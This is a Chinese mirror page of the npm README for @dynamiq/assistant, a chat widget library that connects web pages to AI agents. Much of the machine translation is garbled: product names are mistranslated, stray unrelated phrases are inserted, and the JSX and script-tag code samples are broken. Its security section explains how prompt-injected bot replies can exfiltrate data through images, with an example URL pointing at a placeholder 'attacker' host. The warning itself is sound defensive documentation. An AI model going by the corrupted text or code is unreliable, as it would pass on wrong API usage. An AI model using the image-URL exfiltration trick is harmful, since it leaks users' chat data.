# @dynamiq/assistant 中文文档 规范地址：https://npmcn.com/package/%40dynamiq/assistant/ 版本：1\.12\.0 npm 元数据更新时间：2026-10-26T19:10:40.352Z 中文译文更新时间：2026-11-14T12:30:35.946Z 软件包许可：Apache-2\.0 本文由上游 README 翻译，可能存在偏差，请结合原文核对 API、命令与配置。版权与许可归原作者所有。 原始 npm 页面：https://www.npmjs.com/package/%40dynamiq/assistant 原文对照：https://npmcn.com/package/%40dynamiq/assistant/?lang=original 项目主页：https://github.com/dynamiq-ai/assistant#readme 源码仓库：https://github.com/dynamiq-ai/assistant ## 关键信息（来自 npm 元数据） - 包体积（解压后）：24.7 MB，35 个文件 - 模块格式：ESM + CJS - TypeScript 类型：包内自带 - 运行依赖：7 个 - peer 依赖：react \>=16\.8\.0，react-dom \>=16\.8\.0 - 首次发布：2025-03-31T07:03:36.491Z - 最新版本发布：2026-10-26T19:10:39.165Z - 近 30 天下载量：2047（2026-10-13 至 2026-11-11，npm 官方下载统计） - 已发布版本数：62（近 12 个月 3 个） ## 中文简介 React 和 vanilla JavaScript 的聊天部件库 ## 安装 ```sh npm install @dynamiq/assistant ``` 也可以使用：`pnpm add @dynamiq/assistant`、`yarn add @dynamiq/assistant`、`bun add @dynamiq/assistant` ## README ![Dynamiq Assistant](https://raw.githubusercontent.com/dynamiq-ai/assistant/main/assets/github-chat-widget-header.png) # 医务助理 **一个用于 AI 代理的强大的聊天部件库 - 为 React 和 vanilla JavaScript 所建** [![npm version](https://img.shields.io/npm/v/@dynamiq/assistant?style=flat-square&logo=npm)](https://www.npmjs.com/package/@dynamiq/assistant) [![npm downloads](https://img.shields.io/npm/dm/@dynamiq/assistant?style=flat-square&logo=npm)](https://www.npmjs.com/package/@dynamiq/assistant) [![License](https://img.shields.io/badge/license-Apache%202.0-blue?style=flat-square)](https://github.com/dynamiq-ai/assistant/blob/main/LICENSE) [文档](https://docs.getdynamiq.ai/) 二. 支助 [特征](https://npmcn.com/package/%40dynamiq/assistant/#readme-features) 二. 支助 [安装](https://npmcn.com/package/%40dynamiq/assistant/#readme-installation) 二. 支助 [使用量](https://npmcn.com/package/%40dynamiq/assistant/#readme-usage) 二. 支助 [捐款](https://npmcn.com/package/%40dynamiq/assistant/#readme-contributing) [![Website](https://img.shields.io/badge/%F0%9F%8C%90_Website-getdynamiq.ai-0066cc?style=for-the-badge)](https://getdynamiq.ai/) [![LinkedIn](https://img.shields.io/badge/LinkedIn-0077B5?style=for-the-badge&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/dynamiq-ai) [![Twitter](https://img.shields.io/badge/Twitter-1DA1F2?style=for-the-badge&logo=twitter&logoColor=white)](https://x.com/Dynamiq_AI) * * * ## 关于 **德纳米克助理** 允许您通过自定义的聊天部件将 AI 代理无缝整合到您的应用程序中。 特地为代理AI体验而建造,它提供React和香草JavaScript组件,直接连接到你的Dynamiq动力AI代理. [大调](https://www.getdynamiq.ai/) 是代理AI和LLM应用的管弦框架,使企业能够大规模地构建,部署和管理智能AI代理. ## \* 特性 - 🤖 **AI 代理整合** - 为连接Dynamiq AI特工而设计的目的 - 📱 **跨平台支持** - 与React和香草JavaScript合作 - 🎨 **自定义 UI** - 配有主题支持的完全定制外观 - 📡 **流程支持** - AI代理的实时反馈 - 📁 **文件上传** - 允许AI代理处理图像、PDF和文件 - 🎯 **灵活定位** - 将代理部件放置在页面的任何地方 - 🔧 **事件处理器** - 处理代理人的反馈、行动和反应 - 📊 **Vega 图表支持** - AI代理可以无缝地使数据可视化 ## \* 安装 ```bash npm install @dynamiq/assistant ``` 或用纱线: ```bash yarn add @dynamiq/assistant ``` ## QQ 设置 用于 `@dynamiq/assistant`,首先导航您的 Dynamiq 部署: 1. 转到 **部署** 并确保 **端点授权** 已禁用(参见 [警卫](https://npmcn.com/package/%40dynamiq/assistant/#readme--security) 这是什么意思) 2. 点击 **一体化** 选项卡 3. 切换到 **聊天部件** 菜单项 4. 复制您唯一的 API URL ![Dynamiq App Integration](https://raw.githubusercontent.com/dynamiq-ai/assistant/main/assets/chat-integration.png) ## 使用量 ### 反应 ```tsx import { DynamiqAssistant } from '@dynamiq/assistant/react'; const App = () => { return ( ', streaming: true, }} allowFileUpload={true} maxFileSize={10 * 1024 * 1024} // 10MB acceptedFileTypes="image/*,.pdf,.doc,.docx,.txt" params={{ userId: '123', sessionId: '234', userName: 'John Doe', language: 'en', }} prompts={[ { icon: '💬', text: 'What documents are needed for the loan?' }, { icon: , text: 'What is the maximum loan amount?', }, ]} footerText={ 'Powered by Dynamiq' } /> ); }; ``` ### 香草 Java 脚本 #### 无害环境管理模块 ```js import { DynamiqAssistant } from '@dynamiq/assistant/vanilla'; const assistant = new DynamiqAssistant('#dynamiq-assistant-container', { title: 'Dynamiq Assistant', placeholder: 'Type your message...', position: 'bottom-left', api: { url: '', streaming: true, }, allowFileUpload: false, maxFileSize: 5 * 1024 * 1024, // 5MB acceptedFileTypes: 'image/*,.pdf', }); ``` #### 脚本标记 ```html ``` ## QQ 部件预览 您的助手将作为一个优雅的聊天部件出现在您的页面上 : ![Widget Preview](https://raw.githubusercontent.com/dynamiq-ai/assistant/main/assets/chat-visual.png) ## API 参考 ### 道具 | 名称 | 类型 | 说明 | | --- | --- | --- | | `title` | `string | ReactNode` | 助手的头衔. 可以是字符串或ReactNode. | | `placeholder` | `string` | 聊天输入的占位符文本 . | | `welcomeTitle` | `string` | 欢迎屏幕的标题. | | `welcomeSubtitle` | `string` | 欢迎屏的字幕. | | `position` | `string` | 助手的职位 可能会 `bottom-right`, (中文(简体) ), `bottom-left`, (中文(简体) ), `top-right`,或 `top-left`。 。 。 . | | `api.url` | `string` | 助理端点的 URL . | | `api.streaming` | `boolean` | 是否启用响应流 . | | `allowFileUpload` | `boolean` | 是否允许文件上传 . | | `maxFileSize` | `number` | 文件在字节中上传的最大文件大小 . | | `acceptedFileTypes` | `string` | 用于文件上传的已接受的文件类型 . | | `params` | `object` | 传递到助理输入的参数 . | | `params.userId` | `string` | 用户名. 默认保存在其中的随机ID `localStorage`,所以历史幸存 重载. | | `params.sessionId` | `string` | 会话代号 默认 `crypto.randomUUID()`。 。 。 . | | `toggleButton` | `string` | 切换助手的按钮标识 . | | `prompts` | `array` | 提示显示在助理. | | `prompts.icon` | `string | ReactNode` | 提示中要显示的图标 . | | `prompts.text` | `string` | 提示中要显示的文本 . | | `theme.primaryColor` | `string` | 助手的主要颜色. | | `theme.secondaryColor` | `string` | 助手的次要颜色. | | `theme.fontFamily` | `string` | 助手的字体家族. | | `allowFullScreen` | `boolean` | 是否显示全屏幕按钮 . | | `footerText` | `string` | 脚下要显示的文字. | | `poweredBy` | `string` | 以节为动力所显示的文字. | | `humanSupport` | `string` | 人相助一节所要显示之文字. | | `intermediateStreaming` | `boolean` | 是否显示可用的中间步骤 。 默认 `true`。 。 。 . | | `hideCloseButton` | `boolean` | 是否隐藏关闭按钮 。 默认 `false`。 。 。 . | | `fullScreen` | `boolean` | 是否打开全屏聊天 。 默认 `false`。 。 。 . | | `open` | `boolean` | 是否打开页面负荷聊天 。 默认 `false`。 。 。 . | | `allowedResourceOrigins` | `string[]` | 机器人消息可能从中加载图像和图表数据的来源 。 同源和 `data:` URL总是允许的; `['*']` 允许任何来源。 默认 `['*']`建议: `[]` 或信任来源列表(参见 [警卫](https://npmcn.com/package/%40dynamiq/assistant/#readme--security)) (中文(简体) ). | ### 活动 | 名称 | 说明 | | --- | --- | | `onFeedback` | 处理反馈的回调功能. | | `onImageBlock` | 处理图像块的回调功能 . | | `onLink` | 处理链接的回调功能 . | | `onNewChat` | 处理新聊天的回调功能 . | | `onPromptSend` | 处理即时发送的回调功能 . | | `onChatDelete` | 处理聊天删除的回调功能 . | | `onChatOpen` | 处理开放式聊天的回调功能 | | `onChatClose` | 处理近距离聊天的回调功能 | ### 聊天历史 聊天存储在浏览器中 `localStorage` 并显示在历史面板。 当用户登录, 特别是在共享设备上登录时清除 : ```javascript import { clearChatHistory } from '@dynamiq/assistant/react'; // or '@dynamiq/assistant/vanilla' clearChatHistory(); ``` 用香草部件,你也可以打电话 `widget.clearHistory()`,它又重排了开放式聊天. ## • 警卫 - **端口为公.** 由于 Endpoint 授权被禁,在您的页面中找到 API URL 的任何人都可以直接拨打代理 。 别把秘密放进去 `api.headers`因为他们被运往每个访客。 对于制作,考虑通过您自己的后端代理请求,后者可以认证用户并应用速率限制. - **瓶装信息被消毒.** 通过 DOMPurify 实现代理设备的标记下, 链接只允许 `http(s)`编号 :`mailto` 并打开新标签,图表运行时不用 `eval` (与无 `'unsafe-eval'`) (中文(简体) ). - **限制远程资源.** 默认情况下,bot消息中的图像和图表数据可以从任何来源加载. 被迅速注入的响应可以使用它通过图像URL(例如. `![](https://attacker/?q=...)`) (中文(简体) ). 设定 `allowedResourceOrigins` 改为 `[]` 或者你的毒剂真正使用的原生地. `url()` 内置样式和 SVG 属性中的引用,以及 `srcset`,总是删除. - **您自己的 HTML 选项未被消毒 .** `title`, (中文(简体) ), `footerText`, (中文(简体) ), `poweredBy`, (中文(简体) ), `humanSupport` 财务报告和审定财务报表 `prompts[].icon` 作为 HTML 插入。 只能通过信任的内容 . ## 捐款 我们欢迎捐款! 请看我们的 [贡献指南](https://npmcn.com/package/%40dynamiq/assistant/CONTRIBUTING.md) 关于如何开始的细节. ### 发展 ```bash # Install dependencies npm install # Run development server npm run dev # Build the library npm run build # Run tests npm run test # Lint code npm run lint ``` ## 许可证 这个项目根据Apache许可证2.0获得许可——见 [自由主义](https://npmcn.com/package/%40dynamiq/assistant/LICENSE) 详细文件. ## 链接 - [GitHub 仓库](https://github.com/dynamiq-ai/assistant) - [国家防范机制一揽子计划](https://www.npmjs.com/package/@dynamiq/assistant) - [文档](https://docs.getdynamiq.ai/) - [Dynami克平台](https://www.getdynamiq.ai/) - [报告问题](https://github.com/dynamiq-ai/assistant/issues) ## QQ 与我们连接 **大调** 是代理AI应用程序的操作平台. 我们正在打造AI的管弦乐未来. [![Website](https://img.shields.io/badge/%F0%9F%8C%90_Website-getdynamiq.ai-0066cc?style=for-the-badge)](https://getdynamiq.ai/) [![LinkedIn](https://img.shields.io/badge/LinkedIn-Connect-0077B5?style=for-the-badge&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/dynamiq-ai) [![Twitter](https://img.shields.io/badge/Twitter-Follow-1DA1F2?style=for-the-badge&logo=twitter&logoColor=white)](https://x.com/Dynamiq_AI) [![GitHub Organization](https://img.shields.io/badge/GitHub-dynamiq--ai-181717?style=flat-square&logo=github)](https://github.com/dynamiq-ai) ## 常见问题 ### @dynamiq/assistant 是什么？ React 和 vanilla JavaScript 的聊天部件库 ### 如何安装 @dynamiq/assistant？ 在项目目录运行 npm install @dynamiq/assistant，或使用 pnpm add / yarn add / bun add。它还需要宿主项目提供 peer 依赖：react（\>=16\.8\.0）、react-dom（\>=16\.8\.0）。npm 7 及以上与 pnpm 8 及以上默认会自动安装必需的 peer 依赖，Yarn 需要手动安装。 ### @dynamiq/assistant 支持 TypeScript 吗？ 支持。包内自带 TypeScript 类型声明（package\.json 声明了 types 入口），安装后即可获得类型提示，无需再安装 @types 包。 ### @dynamiq/assistant 支持 ESM 还是 CommonJS？ 同时提供 ES Module 与 CommonJS 入口，import 和 require\(\) 都可以使用，打包工具会自动选择合适的版本。 ### @dynamiq/assistant 可以商用吗？ @dynamiq/assistant 使用 Apache-2\.0 许可。宽松许可：允许商业使用、修改和再分发，并附带明确的专利授权；分发时需保留许可与 NOTICE 文件，修改过的文件要注明改动。以上为概括，不构成法律意见，请以许可原文为准。 ### @dynamiq/assistant 的下载量有多少？ 根据 npm 官方下载统计，@dynamiq/assistant 在 2026/10/13 – 2026/11/11 这 30 天内被下载 2,047 次，日均约 68 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入，适合横向比较热度，不能直接等同于使用人数。 ### @dynamiq/assistant 还在维护吗？ 最新版本 1\.12\.0 发布于 2026/10/27（18 天前）；至今共发布 62 个版本，其中过去 12 个月发布了 3 个；首次发布于 2025/03/31。发布频率只是参考信号：功能稳定的工具可能很少需要更新，建议结合源码仓库的 issue 和提交记录判断。